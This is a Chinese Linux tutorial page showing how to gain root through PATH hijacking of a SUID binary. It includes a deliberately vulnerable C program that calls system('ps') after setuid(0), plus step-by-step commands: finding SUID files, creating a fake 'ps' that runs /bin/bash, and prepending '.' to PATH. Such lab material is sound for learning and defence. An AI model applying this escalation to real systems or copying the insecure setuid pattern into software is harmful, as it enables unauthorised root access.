云网牛站
所在位置:首页 > Linux教程 > Linux如何利用可执行文件SUID提权

Linux如何利用可执行文件SUID提权

2018-06-11 22:31:33作者:MTPAS稿源:技术啦

PATH是Linux和类Unix操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上运行任何命令时,它会通过PATH变量来响应用户执行的命令,向shell发送请求以搜索可执行文件。超级用户通常还具有/ sbin和/ usr / sbin条目以便于执行系统管理命令。

SUID属性一般用在可执行文件上,当用户执行该文件时,会临时拥有该执行文件的所有者权限。一旦程序拥有SUID权限的话,运行该程序时会以最高权限运行。

 

查看$PATH变量

fire@fire-Box:~$ echo $PATH

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

 

环境搭建

我们需要先生成一个具有SUID权限的程序,所以先编写一个c语言程序,代码如下:

#include <unistd.h>

#include <stdlib.h>

int main(void)

{

setuid(0);

setgid(0);

system("ps");

return 0;

}

然后对其进行编译,并给编译出来的赋予SUID权限(chmod u+s pwn等同于chmod 4755 pwn)

Linux如何利用可执行文件SUID提权

 

开始提权

现在归结1种提权方法,就是修改环境变量调用 /bin/bahs 程序。下面来看具体操作:

find . -perm -u=s -type f 2>/dev/null # 在当前目录下查找具有SUID权限的可执行文件

echo "/bin/bash" > ps # 在当前目录下生成一个内容为 /bin/bash 的ps文件

chmod 777 ps # 给它可执行权限

echo $PATH # 查看当前环境变量

export PATH=.:$PATH # 将当前路径添加到环境变量中

./pwn # 执行具有SUID权限程序

Linux如何利用可执行文件SUID提权

首先我们使用 find . -perm -u=s -type f 2>/dev/null 在当前目录下查找具有SUID权限的可执行文件,我们找到了pwn。由于pwn程序调用了了系统的ps程序,所以我们要在当前目录下生成一个内容为 /bin/bash 的ps文件,并给它可执行权限,然后我们再把当前路径添加到环境变量中,这样做的目的就是然程序搜索ps程序的时候,先从当前目录开始搜索,这样就会搜索到我们生成的ps文件,从而执行 /bin/bash 程序,达到提权的目的。

我们还可以使用创建软链接的方式来替代上面的 echo "/bin/bash">ps && chmod 777 ps 命令,这种方式更快些。

ln -s /bin/bash ps

Linux如何利用可执行文件SUID提权

 

相关主题

第3章 管道符、重定向与环境变量

精选文章
热门文章